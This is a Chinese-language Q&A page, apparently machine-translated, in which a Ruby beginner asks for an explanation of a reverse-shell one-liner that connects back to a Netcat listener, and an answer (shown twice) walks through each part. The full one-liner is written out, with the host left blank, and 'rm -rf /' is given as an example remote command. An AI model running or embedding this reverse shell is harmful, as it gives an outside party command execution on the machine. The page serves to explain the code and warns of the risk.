作者:是你让我变得冷漠涡 | 来源:互联网 | 2022-12-06 13:40
我是Ruby的新手,并试图更好地理解这个反向shell单线程,旨在连接回Netcat监听器.
有人可以尝试打破命令并解释一些代码实际上做了什么吗?例如,我知道"TCPSocket.new"创建了新的TCP套接字,但是什么是"cmd = c.gets","IO.popen","| io | c.print io.read"等等.什么是while
循环的目的?
ruby -rsocket -e "c=TCPSocket.new('','');while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print io.read}end"
elliotcm..
6
好吧,让我们打破这个.
ruby
运行ruby解释器,你可能知道那一部分
-rsocket
相当于require "socket"
(r
要求)
-e "some string"
some string
作为ruby脚本运行(e
用于执行)
while(cmd=c.gets)
正在说"while gets
(获取字符串并包括下一个换行符)从连接中返回一些内容c
,即当有数据进入时,将其分配给cmd
和...
IO.popen(cmd,'r'){|io|c.print io.read}
.. cmd
作为shell命令运行,读取输出,然后print
返回到连接c
.
因此,有效地,通过网络接收命令(如ls .
或rm -rf /
),读取它,运行它,获取输出并将其发回.继续这样做,直到另一方停止发送命令.
因为gets
会阻塞并等待下一行进来,这个单行将坐在那里等待连接关闭.
可能不希望让其他人在该连接上发送命令,因为它会直接在您的计算机上运行它们发送的任何内容,尽管这可能是"反向shell"的意思.
1> elliotcm..:
好吧,让我们打破这个.
ruby
运行ruby解释器,你可能知道那一部分
-rsocket
相当于require "socket"
(r
要求)
-e "some string"
some string
作为ruby脚本运行(e
用于执行)
while(cmd=c.gets)
正在说"while gets
(获取字符串并包括下一个换行符)从连接中返回一些内容c
,即当有数据进入时,将其分配给cmd
和...
IO.popen(cmd,'r'){|io|c.print io.read}
.. cmd
作为shell命令运行,读取输出,然后print
返回到连接c
.
因此,有效地,通过网络接收命令(如ls .
或rm -rf /
),读取它,运行它,获取输出并将其发回.继续这样做,直到另一方停止发送命令.
因为gets
会阻塞并等待下一行进来,这个单行将坐在那里等待连接关闭.
可能不希望让其他人在该连接上发送命令,因为它会直接在您的计算机上运行它们发送的任何内容,尽管这可能是"反向shell"的意思.